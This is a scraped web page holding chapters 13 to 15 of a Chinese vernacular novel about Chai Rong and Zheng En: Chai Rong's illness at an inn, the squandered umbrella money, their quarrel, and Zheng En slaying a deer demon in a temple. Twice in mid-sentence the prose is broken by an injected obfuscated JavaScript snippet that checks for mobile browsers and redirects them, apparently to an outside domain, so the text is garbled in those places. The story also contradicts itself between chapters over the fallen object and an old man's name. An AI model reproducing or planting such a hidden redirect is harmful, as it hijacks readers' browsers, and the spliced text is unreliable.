没一会儿,店小二就把刘一帖请来了。刘一帖背着个药箱,头发花白,眼神却很亮,身后还跟着个小徒弟,帮他拿东西。两人走进房间,刘一帖坐在炕边的凳子上,让柴荣伸出手,三根手指搭在他的手腕上,仔细诊了半天脉,又翻开他的眼皮看了看,摸了摸他的额头,问道:“你最近是不是吃多了油腻,又生了气?夜里是不是没睡好?” 柴荣点点头,声音微弱:“大夫说得对……前几天吃多了面饼,又丢了银子,心里烦,一夜没睡……” 刘一帖叹了口气:“你这是‘夹气伤寒’,可不是小毛病。吃多了积食,又生了气,气裹着食,食堵着气,两样凑在一起,才烧成这样。得先舒气消食,再退烧,最要紧的是不能再生气,要是再气着,就算不丢命,这病也得拖好久才能好。” 说完,他让小徒弟拿出纸笔,开了两帖“柴胡散”,又写了用法:加灯心、竹叶、生姜当药引,用两盏水煎到剩八成,温着喝。写好后,把药方和药一起递给王掌柜,叮嘱道:“药一天一帖,煎的时候别糊了,病人要多喝热水,别吃油腻生冷的东西。” 柴荣连忙道谢,让郑恩从腰里掏出银包,王掌柜拿来戥子,称了三钱银子,用红纸包好,递给刘一帖当诊金。刘一帖接过,又叮嘱了两句“保重身体”,才带着小徒弟走了。 王掌柜把药、药罐、火炉、柴炭都递给郑恩:“郑客人,这药可得用心煎,煎到八成,赶紧给柴客人喝。我前堂还有事,就不陪你了。” 郑恩拍着胸脯说:“放心!乐子知道!”他把药倒进药罐,加了药引,又倒了两盏水,把火炉生起来,把药罐放上去。可他昨天喝的酒劲还没全过,加上早上没吃东西,站在火炉边没一会儿就犯困,眼睛直打架。他心里想:“就眯一会儿,反正药还没开呢。”可一眯眼就睡着了,头靠在灶台上,呼噜声又响了起来。 约摸过了半个时辰,他突然被一阵焦糊味呛醒,睁眼一看,药罐里的药已经煎干了,锅底都发黑了,冒着烟。郑恩吓得一激灵,赶紧把药罐端下来,心里直骂自己:“该死!怎么睡过去了!这药糊了,大哥喝了肯定不管用,要是他知道了,又得骂我!” 急得团团转的时候,他突然想起个主意:赶紧舀了一盏水倒进药罐,又把药罐放回火炉上,随便煎了一会儿,也不管是不是八成,就端下来放凉了点,送到柴荣面前,笑道:“大哥,快起来喝药!这是刘大夫开的‘灵丹妙药’,喝了准好!” 柴荣挣扎着坐起来,接过药碗,刚喝了一口就皱起眉:“三弟,这药怎么有股荷包灰的味儿?” 郑恩赶紧撒谎:“大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就这么混了十几天,柴荣腰里的银子被郑恩花了个精光。这天早上,郑恩刚要出门,店小二就拦住了他:“郑客人,您等会儿,小人有句话跟您说。” 郑恩皱着眉:“有话快说,乐子还等着出去喝酒呢!” 店小二递过来一本帐簿:“您看,这是您和柴客人在店里的开销,柴客人病着没怎么吃,主要是您,每天吃饭喝酒,十八天下来,一共该付三两三钱银子。您看能不能先把帐结了?小人这店小本生意,实在垫不起了。” 郑恩摸了摸腰里的银包,空空的,心里咯噔一下:“银子都被乐子花光了,这可咋整?”他想了想,说道:“小二哥,帐肯定给你结,可我大哥还病着,等他好了再说行不行?” 店小二苦着脸:“郑客人,不是小人催您,您看这米缸都快空了,菜也是赊的,要是再收不到钱,这店都开不下去了。您要是没银子,柴客人不是还有一车雨伞吗?不如先卖一半,把帐结了,剩下的还能当盘缠。” 郑恩眼睛一亮:“对啊!乐子怎么没想到!行,就按你说的办!” 两人一起推着车,先去了东边的“周记伞铺”。周老板看了看雨伞,又看了看郑恩,故意压价:“你这伞竹骨有点弯,油布也不算最好的,最多给五两银子,要卖就卖,不卖就算。” 郑恩一听就急了:“你这老板怎么回事?这伞是新做的,二哥特意让人做的好货,你怎么压价?” 店小二赶紧打圆场:“周老板,这是柴客人的货,他病在客栈里,急着用钱,您就行行好,多给点。” 周老板琢磨了一下,才松口:“行,给六两,不能再多了。”郑恩没办法,只好卖了一半,得了六两银子。 两人又推着剩下的雨伞,去了西边的“陈记杂货铺”。陈老板更精,拿起一把伞看了看,说:“这伞沾了雨,有点潮,最多给四两。”郑恩急着用钱,只好又卖了,得了四两银子。 回到客栈,郑恩付了店小二三两三钱,剩下的六两七钱都揣进了自己腰里,每天照样喝酒吃肉,不到十天就花光了。 又过了二十多天,柴荣的病总算好了点,能勉强坐起来了。他叫店小二进来:“小二,把这几十天的帐算一下,我今天就把雨伞卖了,一起结给你。” 店小二进来,支支吾吾地说:“柴客人……帐……帐其实不用算了,郑客人之前卖了两回伞,付了六两六钱,还欠您……哦不,还欠小人三两银子,剩下的……剩下的雨伞……” 柴荣心里一沉:“什么?卖了两回伞?我的雨伞呢?” 这时,隔壁住的张婆婆端着一碗粥进来——张婆婆是个孤老,在客栈住了很久,之前见柴荣病着,还送过几次粥。她看店小二吞吞吐吐的,叹了口气:“柴客人,您别问了,郑客人把您的雨伞都卖光了,银子也花光了。” 柴荣一听,像被雷劈了一样,身子一软,倒在炕上,双眼紧闭,晕了过去。张婆婆赶紧掐他的人中,郑恩也慌了,蹲在炕边喊:“大哥!大哥你醒醒!” 过了半个时辰,柴荣才慢慢醒过来,吐了一口浊痰,眼泪也流了下来:“我推这车伞,本来想赚点小钱糊口,没想到病了一场,伞也没了,钱也没了,这可怎么回去?怎么跟二哥交代啊……” 店小二也觉得过意不去,劝道:“柴客人,您别太伤心了,钱财没了还能再赚。郑客人也是不懂事,不是故意的。您要是还欠帐,以后再来还就行,这几天的房钱,小人也不收了,您安心养身体。” 张婆婆也帮着劝:“是啊,柴客人,年轻人不懂事,你别跟他一般见识。我这里有二两碎银,你先拿着,凑够盘缠去找你二哥。” 柴荣摇了摇头,把银子推了回去:“婆婆,谢谢您的好意,银子我不能要。是我自己命苦,也不能全怪三弟。”他看着郑恩,见他低着头,搓着手,一脸愧疚,心里的气也消了些,说道:“三弟,现在说这些也没用了,我有个主意,咱今天就离开这里,去找二哥,说不定二哥能帮咱想办法。” 郑恩赶紧点头:“好!都听大哥的!” 柴荣又对店小二和张婆婆道谢,收拾了简单的包袱——其实也没啥东西,就几件换洗衣物。两人走出客栈,望着远处的路,心里都没底,可也只能硬着头皮往前走。 正是: 英雄还没施展抱负,却先遭了这般困境。 不知柴荣和郑恩能不能顺利找到赵匡胤,接下来又会遇到啥麻烦,且看下回分解。 14. 第 14 章 话说柴荣因为郑恩把之前卖银伞的钱全花光了,实在没办法回老家,只能凑到郑恩身边,声音里带着病气,还夹着几分无奈:“三弟,那银伞的钱花光也就算了,现在咱们没别的法子——幸好还有这辆独轮车,你推出去卖了,能换六七百文钱就好。一来我能买点药治治这病,二来也能凑点路费。等我身子好了,咱们就去首阳山找你二哥赵匡胤,到时候再想往后的打算。” 柴荣说这话时,正裹着件打了补丁的旧棉袄,肩膀微微缩着,时不时还咳嗽两声,手按在胸口上,眉头皱得紧紧的。他心里其实没底——这独轮车是从木铃关一路推过来的,轮子上的木轴都磨出了沟,车帮也裂了道缝,能不能卖掉真不好说。可眼下除了这车,他们俩身上连半个铜钱都没有,再不想办法,别说治病,明天能不能吃上饭都成问题。 郑恩听了,挠了挠后脑勺,黝黑的脸上露出点憨直的笑:“大哥说的这话,跟我想的一样!成,我这就推出去卖!”他说着就扛起车把,粗粝的手掌攥着磨得发亮的木头,大步流星地走出了客栈。 泌州城的南正街正是热闹的时候,挑着菜筐的农妇、背着货囊的小贩、还有围着糖画摊的孩子,人来人往挤得满街都是。郑恩推着独轮车,车轮“吱呀吱呀”响着,在人群里慢慢挪。他敞开嗓子喊:“卖车咯!卖独轮车!只要七百个大钱!结实得很,推粮食、拉柴火都成!” 一开始还有人停下脚步看,一个挑着担子的脚夫凑过来,蹲下身摸了摸车轮:“你这车轮子都快磨平了,木轴也松了,三百文还差不多。”郑恩急忙摆手:“不行不行!这车跟着我走了多少路都没坏,七百文一点都不贵!”脚夫撇撇嘴,扛起担子走了。 郑恩喊了快一个时辰,嗓子都哑了,也没人愿意出七百文。太阳慢慢往西边斜,风也变凉了,吹得他肚子“咕噜咕噜”叫。他抬头看见街角有家“王记包子铺”,热气裹着肉香飘过来,馋得他直咽口水——他从早上到现在就喝了两碗稀粥,早就饿透了。 又走了几步,前面忽然冒出家小酒馆,挂着块褪色的蓝布幌子,上面写着“老酒”两个字。郑恩实在扛不住饿,把独轮车推到酒馆门口,往墙根下一靠,拍了拍手上的灰,大步走了进去。 “店家!来二斤烧酒,一大碗牛肉面,再切半斤酱牛肉!”郑恩找了张靠门的桌子坐下,把枣木棍靠在桌边。酒保是个留着山羊胡的老头,看他长得凶,又扛着棍子,不敢怠慢,赶紧应着去后厨忙活。 没一会儿,冒着热气的牛肉面、油汪汪的酱牛肉和一壶烧酒就端了上来。郑恩早就等不及了,拿起筷子就往嘴里扒面,面条烫得他直哈气,却舍不得停;酱牛肉塞得满嘴都是,肉香混着酒香,让他暂时忘了卖车的烦心事。他风卷残云地吃着,桌上的碗碟很快就空了,连面汤都喝得一滴不剩。 酒保过来算账,手里拿着个小算盘“噼里啪啦”一打:“客官,一共六百三十八文。” 郑恩摸了摸怀里,空空如也——他早就没钱了。他挠了挠头,有点不好意思,却还是硬着头皮说:“店家,我今天没带钱,外面那辆独轮车,就当抵酒钱了,你看行不?” 酒保一听就皱了眉,刚想说话,酒馆掌柜从里屋走了出来。掌柜是个圆脸的中年汉子,看了看门口的独轮车,又看了看郑恩黝黑的脸和桌上的空碗,心里嘀咕:这黑汉子看着就不好惹,真要是闹起来,说不定还得砸东西。他叹了口气,摆了摆手:“罢了罢了,那车我收了,你下次可别这样了。” 郑恩一听,赶紧道谢,转身就往客栈走。他心里其实有点发虚——没卖掉车还把车抵了酒钱,大哥肯定要生气,可他实在饿坏了,总不能饿着肚子吧? 回到客栈房间,柴荣正靠在床头咳嗽,看见郑恩进来,赶紧坐直了身子,眼睛里带着期待:“三弟,车卖了吗?卖了多少钱?够不够买药材?” 郑恩挠了挠头,声音低了半截:“大哥,别提了……我喊了一上午,没人买。我肚子实在太饿,就把车抵了酒钱,先吃了顿饱的,回来再想办法。” 柴荣一听这话,眼睛“唰”地就红了,本来就苍白的脸瞬间没了血色,他指着郑恩,手都在抖:“你……你这黑小子!我跟你说什么了?那车是咱们最后的指望!我这病等着钱买药,咱们还等着钱去首阳山找你二哥,你居然把车给吃了?!” 他越说越激动,咳嗽得更厉害了,捂着胸口直喘粗气。心里又气又委屈——他从小没了爹娘,跟着姑父长大,后来姑父去世,他就一个人闯荡,好不容易认了郑恩、赵匡胤这两个兄弟,以为能有个依靠,可现在倒好,银伞卖光了,车也没了,他病得快起不来了,郑恩却一点都不省心。 “你眼里就只有吃的!不管我的死活!”柴荣的声音带着哽咽,“我现在身上一分钱都没有,你把车弄没了,咱们明天吃什么?喝西北风吗?再跟你待几天,我这条命都得被你坑没了!你走吧,咱们别做兄弟了,各走各的路!” 郑恩本来还觉得有点愧疚,一听柴荣这么骂他,火气也上来了。他“啪”地一拍桌子,站起来瞪着眼:“你这臭伞夫!你以为我愿意推车卖吗?从木铃关到泌州,我推了你多少天?你病了我端水喂药,现在就因为一顿饭,你就骂我坑你?” 他心里又急又恼——他是粗人,不知道怎么跟柴荣解释“饿到极点”的难受,只觉得自己的辛苦全被无视了。他攥紧了枣木棍,指节都泛了白:“你无情,我也无义!走就走!”说完,他扛起枣木棍,头也不回地冲出了客栈,连门都没关。 出了泌州城,郑恩沿着大路往西走。走了没几步,他又停下了,回头看了看泌州城的城门,心里有点不是滋味——其实他不想跟柴荣吵架,可话已经说出口,再回去就太没面子了。他叹了口气,嘀咕道:“算了,先去首阳山找二哥,等大哥消气了再说。” 可他走得太急,根本没看清路。初冬的风刮在脸上像刀子,路边的树木叶子都掉光了,只剩下光秃秃的枝桠,天上的大雁排成队往南飞,“嘎嘎”地叫着,听得人心里更烦。郑恩走了六七里路,越走越觉得不对劲——之前从木铃关来的时候,路边有片松树林,现在怎么连影子都没有? “不会走反了吧?”他挠了挠头,正想找个人问问,就看见前面有个挑着草鞋担子的汉子,穿着件灰布短褂,裤脚卷到膝盖,露出满是老茧的腿。这汉子叫王二,是附近村里的混混,平时就爱捉弄人,赚点小钱够喝酒就行。 郑恩赶紧追上去,粗声粗气地问:“喂!卖草鞋的,我问你,去木铃关方向的首阳山,是不是往这边走?” 王二回头一看,见是个黑汉子,长得凶巴巴的,还没礼貌,心里就盘算着要耍他。他上下打量了郑恩一番,故意皱着眉:“你要去首阳山啊?这路还远着呢!巧了,我也要去那边卖草鞋,你跟着我走就行,保准没错。” 郑恩一听,高兴得咧嘴笑:“太好了!那我跟你走!”他一点都没怀疑,跟着王二就往西走。 又走了三四里路,前面出现了一家小酒馆。王二故意放慢脚步,揉了揉肚子:“走得渴了,我去喝碗酒再走,你在这儿等我。”说完,他挑着草鞋走进了酒馆,根本没问郑恩喝不喝。 郑恩只能站在酒馆门口等。酒馆的窗户没关,他能看见王二坐在里面,端着酒碗“咕咚咕咚”喝,还点了盘炒花生,抓着往嘴里扔,吃得津津有味。酒香飘出来,郑恩的肚子又开始叫了,他摸了摸怀里,还是空荡荡的,只能咽着口水,盯着酒馆的门。 等了快半个时辰,王二才打着饱嗝走出来,挑起草鞋担子就走,连看都没看郑恩。郑恩心里有点不爽,但想着还要靠他指路,只能跟着走。 又走了两三里路,前面居然又有一家酒馆。王二又停了下来,自言自语:“这风刮得人嘴干,再喝碗酒暖暖身子。”说完又走进了酒馆。 郑恩站在门口,气得直跺脚——这王二分明是故意的!他看着王二在里面吃酱肘子、喝烧酒,心里骂道:“这小气鬼!就不知道请我吃一口?等到了首阳山,看我不收拾你!”可他又不敢进去催,只能在门口来回踱步,心里又急又饿。 这次王二喝了更久,快一个时辰才出来。他挑着担子,慢悠悠地往前走,郑恩咬着牙跟在后面。又走了一二里路,来到一片荒野,路边的树木长得歪歪扭扭,地上堆着厚厚的枯叶,风一吹,叶子“哗啦哗啦”响,有点吓人。 王二停下脚步,心里想:“耍了他这么久,也差不多了,再耍一次让他进退两难。”他放下草鞋担子,找了棵粗槐树,靠在树干上,故意打了个哈欠:“走得累了,睡会儿再走。”说完就闭上眼睛,假装打盹。 郑恩一看,心里乐了:“这小子终于要睡了!等他睡着,我就……”他也找了棵树坐下,把枣木棍靠在旁边,假装闭眼,其实一直在偷偷瞄王二。 王二本来是装睡,可初冬的太阳晒在身上暖暖的,他又喝了两顿酒,没一会儿就真的睡着了,还打起了呼噜,口水都流到了衣襟上。 郑恩等了一会儿,见王二没动静,就轻轻站起来,走到王二的草鞋担子旁。他数了数,一共二十二双草鞋——这草鞋编得还不错,应该能换几碗酒钱。他心里有点犹豫:“偷人家草鞋不好吧?”可一想到王二两次故意丢下他去喝酒,又气又饿的感觉涌上来,他咬了咬牙:“是他先耍我的,这是报应!” 他把草鞋往肩上一背,拿起枣木棍,轻手轻脚地往西走,走了几步还不忘踢了踢槐树根,见王二没醒,才加快脚步跑了。 王二睡了两个时辰,醒的时候太阳都快落山了。他揉了揉眼睛,没看见郑恩,心里嘀咕:“这黑汉子倒是等不及了。”他伸手去拿草鞋担子,却抓了个空——草鞋不见了! “我的草鞋呢?!”王二急得跳起来,在周围找了半天,连个影子都没有。他一拍大腿,突然想明白:“肯定是那黑汉子偷的!我不该耍他,现在倒好,本利都没了!”他气得直跺脚,可又没办法,只能叹着气往东边走——回家还得走老远的路,今晚又得饿肚子了。 郑恩背着草鞋,走了快一个时辰,终于看见前面有个大庄子,庄子门口挂着个木牌,上面写着“孟家庄”。庄口有家酒馆,挂着红布幌子,上面写着“孟记老酒馆”,里面人声鼎沸,看样子生意不错。 郑恩的肚子早就饿扁了,他摸了摸背上的草鞋,心里想:“先去吃顿饱的,再把草鞋抵给店家。”他硬着头皮走进酒馆,找了张靠窗的桌子坐下,把草鞋放在旁边,枣木棍靠在桌腿上。 “掌柜的!来三斤烧酒,一大碗羊肉面,再切一斤酱牛肉!”郑恩嗓门大,一喊全酒馆的人都看了过来。酒馆掌柜孟老三是个矮胖的汉子,穿着件蓝布长衫,腰上系着围裙,一看郑恩背着草鞋,以为是赶路的脚夫,赶紧笑着应道:“客官稍等,马上就来!” 旁边的店小二小石头,是个十五六岁的半大孩子,梳着个小辫子,赶紧跑往后厨传菜。酒馆里还有几桌客人:两个脚夫在吃面条,一个庄稼汉在喝闷酒,还有个老太太带着小孙子吃包子。大家看了郑恩几眼,又低头吃自己的饭——孟家庄来往的人多,谁也没在意这个黑汉子。 没一会儿,酒菜就端上来了。郑恩拿起筷子就吃,羊肉面的汤鲜得很,酱牛肉炖得软烂,烧酒喝下去暖乎乎的,他吃得满头大汗,连吃了两碗面,才放下筷子。 “掌柜的,算账!”郑恩摸了摸肚子,打了个饱嗝。 孟老三拿着算盘走过来,“噼里啪啦”一算:“客官,一共六百三十四文。” 郑恩指了指旁边的草鞋:“掌柜的,我今天没带钱,这二十二双草鞋抵给你,行不行?” 孟老三的脸瞬间沉了下来:“你耍我呢?六百多文的酒菜,你用这破草鞋抵?我这酒馆是开门做生意的,不是收破烂的!” 小石头也在旁边小声说:“就是,上个月有个白吃的,被我们掌柜的追了二里地,最后还是把钱给了。” 郑恩一听就火了:“你这掌柜的怎么说话呢?这草鞋是好的,能卖钱!你要是不乐意,我下次带钱来赎!” “下次?我连你名字都不知道,下次去哪找你?”孟老三往前凑了凑,声音也大了,“我告诉你,孟家庄不是你撒野的地方!今天你不给钱,就别想走!” 郑恩“啪”地一拍桌子,碗碟都震得跳了起来:“你想怎么样?我就是没带钱!”他说着就站起来,伸手把桌上的草鞋抓过来,“撕拉”一下就扯碎了几双。 酒馆里的客人吓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519279|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧站起来:两个脚夫扛起担子就往外跑,庄稼汉躲到了柱子后面,老太太抱着小孙子也往后退。孟老三见郑恩要动手,赶紧往后躲,嘴里喊着:“你别动手!我们孟家庄有‘白吃大王’,你要是再闹,让他来收拾你!” 郑恩停下动作,皱着眉问:“什么白吃大王?我倒要看看他有多厉害!” 孟老三见郑恩感兴趣,心里暗喜:“这黑汉子白吃我的酒菜,还敢动手,正好让‘白吃大王’收拾他!”他清了清嗓子,故意压低声音:“这白吃大王啊,专吃童男童女!上个月李家庄献了个五岁的女童,结果还是被他偷了两头牛!你要是惹了他,连骨头都剩不下!” 小石头也在旁边补充:“是啊客官,张老爹家今天就要献童男童女呢,你还是赶紧走吧!” 郑恩一听“专吃童男童女”,心里就火了:“这不是妖精吗?我最恨妖精害人!今天我就替孟家庄除了这妖精!” 孟老三心里乐开了花:“好啊!张老爹家就在隔壁,他今天要献他三岁的孙孙和买的女童,你要是能除了妖精,我今天的酒菜就当送你了!”他说着就往外走,“我带你去找张老爹!” 郑恩跟着孟老三走出酒馆,往隔壁的院子走。刚到门口,就听见院子里有哭声。推开院门,只见一个白发老头坐在门槛上抹眼泪,旁边一个妇人抱着个三岁左右的小男孩,还有个四岁左右的小女孩,躲在妇人后面,眼睛红红的。 这白发老头就是张老爹,妇人是他的儿媳李氏,小男孩是他的孙孙小柱子,小女孩是他从邻村刘屠户家买来的丫丫——刘屠户欠了赌债,没办法才把女儿卖了。 张老爹见孟老三带了个黑汉子来,赶紧站起来,擦了擦眼泪:“孟掌柜,你这是……” 孟老三指着郑恩,笑着说:“张老爹,这位客官会捉妖,能除了‘白吃大王’,你不用献童男童女了!” 张老爹上下打量了郑恩一番,心里有点怀疑:“这汉子看着粗手粗脚的,真能捉妖?”但他又没办法——要是不献童男童女,孟家庄的人都得遭殃。他叹了口气,对着郑恩作了个揖:“客官要是真能除妖,就是我们孟家庄的大恩人!可要是……要是打不过妖精,你就赶紧跑,别连累我们全村人。” 郑恩拍了拍胸脯,大声说:“你放心!不管是什么妖精,我一棍子下去,保准让它粉身碎骨!不过我捉妖要准备点东西——烂糊猪首一个,油饼一盘,牛肉一盘,烧酒一坛,还有香烛、醋蒜椒盐,一样都不能少!这些是用来请神作法的,有了这些,才能除妖。” 他其实是饿了,想借着“作法”再吃一顿,可又不好意思说,只能找个借口。张老爹一听要这些东西,赶紧点头:“没问题!我这就去准备!”他转身对李氏说:“你去镇上买猪首和烧酒,我去买香烛和油饼!” 李氏抱着小柱子,又看了看丫丫,小声对郑恩说:“客官,要是真打不过,你就快跑,别硬撑。”她心里也没底,只盼着这黑汉子真有本事。 没一会儿,张老爹和李氏就把东西买回来了:烂糊猪首冒着热气,油饼金黄酥脆,牛肉切得厚厚的,烧酒坛口封着红布。张老爹找了个挑夫,把东西挑上,又拿了个火折子,对郑恩说:“客官,咱们去土地庙吧,‘白吃大王’就在那庙里。” 一行人往村西头走,天已经黑了,风刮得更冷。小柱子趴在李氏怀里,小声问:“奶奶,我们要去哪里?”李氏摸了摸他的头,小声说:“去给神仙送东西,送完咱们就回家。”丫丫紧紧拉着李氏的衣角,眼睛里满是害怕。 郑恩走在前面,扛着枣木棍,心里其实也有点打鼓——他没捉过妖,不知道那“白吃大王”到底是什么东西。可话已经说出口,只能硬着头皮上,心里想:“大不了就是跟妖精打一架,我有枣木棍,怕什么!” 走了没半个时辰,就看见前面有座破庙。庙门掉了一块门板,上面写着“土地庙”三个字,油漆都掉光了,台阶上长着青苔,看起来很久没人来了。挑夫把东西挑进庙里,放在大殿的供桌上,就赶紧跑了。 张老爹把火折子递给郑恩,小声说:“客官,我们先回去了,明天一早来给你道谢。”说完,他拉着李氏、小柱子和丫丫,匆匆忙忙地走了。 郑恩关上庙门,又把大殿里破了的窗户也关上,然后走到供桌前。供桌上的香烛还没点,烂糊猪首的香味飘过来,他忍不住咽了口口水——其实他刚才没吃饱,现在又饿了。可他还是先点上香烛,心里嘀咕:“先请神,再吃东西。” 他抬头往供桌上看,只见上面塑着一尊神像,穿着金甲黄袍,手里拿着一把大刀,神像上落满了灰,看起来却有点威严。郑恩皱了皱眉,心里骂道:“就是你这东西在这儿装妖精,吃童男童女?今天我就收拾你!” 他拿起枣木棍,往后退了两步,然后猛地往前冲,用尽全身力气,对着神像的脑袋就打了下去。“啪”的一声巨响,半空中好像有风吹过,灰尘“哗啦”一下落下来,郑恩赶紧闭上眼睛。 等他睁开眼,就看见有个东西从神像上掉下来,在地上“咕噜咕噜”滚个不停,一直滚到窗户边,被门槛挡住才停下。 郑恩吓得赶紧后退两步,握紧了枣木棍,大声喊:“妖怪!你别装神弄鬼!赶紧现形!”他站在原地,手都有点抖——这东西滚得太快,他没看清是什么。 过了一会儿,见那东西没动静,郑恩才慢慢走过去,蹲下身,仔细一看——那东西是个铜制的小香炉,上面还刻着花纹,因为常年落灰,看起来黑乎乎的。 郑恩愣了一下,然后哈哈大笑:“原来就是个破香炉!我还以为是妖精呢!”他拿起香炉,看了看,又放在供桌上,然后走到供桌前,拿起油饼就往嘴里塞——他早就饿坏了,管他什么“请神”,先吃饱再说。 他一边吃,一边想:“明天张老爹他们来,肯定会谢我,到时候说不定能给我点钱,就能去首阳山找二哥了。”想到这里,他吃得更欢了,烧酒喝了一口又一口,心里的烦恼也少了很多。 可他不知道,这破庙里的神像,其实不是“白吃大王”,那真正的“白吃大王”,还藏在别的地方。他这次打落的香炉,又会引出什么事来呢? 要知后事如何,且听下回分解。 15. 第 15 章 话说郑恩在那破庙里一棍子打下去,有个东西“咕噜咕噜”在地上滚,滚到窗边被门槛挡住才停下。他趿拉着鞋走过去,蹲下来眯眼细看——原来是个泥塑的神像脑袋,被他那根枣木棍给敲下来了。郑恩这辈子没见过几次正经神像,瞅着这圆滚滚的木头玩意儿,忍不住拍着大腿哈哈大笑:“咱还当是妖怪现原形了,闹了半天是个木墩子!正好,乐子正缺个枕头,枕着它睡觉刚好!” 他说着就拎起神像脑袋,往供桌上一放,“咚”的一声震得桌上的残香掉了两根。这时天已经擦黑,庙外刮起了小风,郑恩摸出怀里的火石,“咔嚓咔嚓”打了好几下才点着香烛。烛火摇曳着映在庙墙上,把他的影子拉得老长,他盯着门口看了半晌,也没见半点儿妖怪的影子,肚子倒先“咕咕”叫了起来。 供桌上摆着村民祭献的酒肉——一大块带皮的猪首、一摞油饼、半只酱牛肉,还有一坛封着泥的烧酒。郑恩咽了口唾沫,也不管这是给“妖怪”的供品,伸手就把猪首掰成两半,蘸着碟子里的醋和蒜泥,张嘴就啃,油汁顺着下巴流到衣襟上,他也不在意,随手用袖子一抹。接着又拿起油饼,卷了把椒盐,三口两口就吞了一张,嚼得腮帮子鼓鼓的。 先把猪首和油饼扫了个干净,他又把酱牛肉撕成条,慢慢嚼着品滋味——这牛肉炖得够烂,带着酱香味儿,比他以前贩香油时啃的干硬馒头强百倍。等肉也吃完了,他抱起酒坛,“啪”的一声拍开泥封,对着嘴就灌,酒液“咕嘟咕嘟”往喉咙里咽,像久旱的龙喝着泉水,又像饿极的苍蝇叮着肉,没多大一会儿,一整坛烧酒就见了底。 他抹了抹嘴,又拍了拍圆滚滚的肚子,眯着眼笑:“管他有没有妖,乐子先吃痛快了再说!趁着这酒劲儿,正好睡一觉!”说着就把空盘空坛往墙根一推,拎起那神像脑袋当枕头,往供桌上一躺——没有被褥,就裹紧了身上的粗布衣裳,枣木棍也抱在怀里,跟抱着宝贝似的。烛火渐渐烧到了头,“嗤”的一声灭了,庙里只剩下郑恩粗重的呼噜声,混着窗外的风声,倒也显出几分安静。 快到三更的时候,郑恩正梦见自己抱着大坛烧酒喝,忽然被一阵“呜呜”的风声惊醒。他揉着惺忪的醉眼坐起来,耳朵竖得老高——这风刮得邪乎,起初只是“沙沙”地扬着尘土,后来竟变成“呼呼”的,连庙外的老树都被吹得“吱呀”作响,像是要被连根拔起。 他裹了裹衣裳,提上枣木棍,趿着鞋挪到窗边,扒着窗缝往外看——月亮躲在云里,只漏出点儿微光,照着院子里的杂草。风一刮过,顿时天昏地暗,云团越聚越厚,没一会儿就“哗啦啦”下起了倾盆大雨,雨点砸在瓦上,溅起的水花把院子里的泥地泡成了烂泥塘。 就在这时,雨幕里忽然跳下来个东西,两脚“啪嗒”踩在烂泥里,一步步走上台阶,停在窗户外边。郑恩眯着眼瞅,就见那东西把鼻子凑到窗边,“呼哧呼哧”嗅了好几下,声音尖细地说:“不好!这屋里的生人味儿怎么这么重?”说着就往后退,像是怕被什么东西沾到似的。 郑恩的酒劲儿还没全过,眼神有点儿模糊,但也看清楚了那东西的模样:头上戴着个分岔的金冠,身上穿的锁子甲上缀着梅花形的铁片,腰里系着条虎皮裙,脚上趿着双麻鞋;脸又黄又瘦,额头窄窄的,嘴巴尖尖的,眼睛滴溜溜转,手里还攥着个金光闪闪的如意,两只长耳朵竖得笔直,像是在听周围的动静。 郑恩心里乐了:“乐子活了这么大,只听人说过妖怪,从没见过真的!原来妖怪长这样,今天也算开了眼了!”他悄悄伸出手,慢慢推开窗户,“噌”的一下就跳了出去,举起枣木棍大吼一声:“驴球入的!你是哪来的妖精,敢在这儿害人?乐子今天就拿了你!” 那妖精没防备,吓得“哎呀”一声,慌忙举起手里的金如意去挡。“嘭”的一声,枣木棍撞在金如意上,溅起一串火星。郑恩的力气大,震得妖精胳膊发麻,往后退了两步,踩在烂泥里差点滑倒。两人就这么在院子里打了起来——郑恩喊得像打雷,妖精的眼睛亮得像电;郑恩迈着大步往前冲,妖精踮着脚往后躲;郑恩手里的枣木棍专往妖精的天灵盖打,妖精的金如意只敢护着自己的额头。 棍子和如意撞了一下又一下,金光照得雨幕都亮了几分。郑恩心里想:“这妖精看着邪乎,本事倒不怎么样!今天非打得它现原形不可,让孟家庄的人看看乐子的能耐!”妖精心里却慌了:“这黑汉的力气怎么这么大?我以前吃小孩的时候,没人敢拦我,今天怎么碰上个硬茬?” 打了二三十个回合,妖精实在撑不住了,转身就想往雨里跑。郑恩哪能让它跑了?迈开大步追上去,嘴里喊着:“你往哪儿逃!今天遇上乐子,你就别想活了!”说时迟那时快,他双手把枣木棍举过头顶,眯着眼瞅准妖精的后脑勺,“啪”的一声打下去——正打在那分岔的金冠上,金冠“当啷”一声掉在泥里,妖精“哎哟”叫了一声,“扑通”倒在地上。 郑恩怕它装死,又上前补了两棍,直到妖精的脑袋开了花,没了动静,才停下。这时雨小了些,月亮从云里钻出来,他低头一看——地上哪还有什么妖精?分明是一只长着八叉角、身上带着梅花斑点的大鹿,那金如意也变成了一根带着露珠的灵芝草。 郑恩踢了踢鹿的尸体,撇撇嘴:“原来就是个野鹿成精,还敢吃人家孩子,装什么大王!”说着就解下腰里的鸾带,拴在鹿的叉角上,把它拖到窗边,系在窗棂上——怕它跑了,又拽了拽,确认拴紧了才放心。 他拎着枣木棍回到庙里,把窗户关好,这时天快亮了,酒劲儿也全醒了。他又躺回供桌上,枕着神像脑袋,没多大一会儿,呼噜声又响了起来——刚才打妖精费了不少劲,他早就困了。 再说昨天送郑恩来庙的郑老者,他姓郑名老实,是孟家庄的老住户,家里有个十岁的孙子,前几天差点被妖精当成祭品。自从把郑恩送进庙,他就没睡过安稳觉,坐在炕边搓着手,一会儿想:“那黑汉说自己能降妖,要是真能成,不光我孙子安全了,全村人都能好过。”一会儿又想:“要是他只是吹牛,连妖精都打不过,不光他要送命,妖精恼了,说不定会报复全村,到时候我可就成了罪人了!” 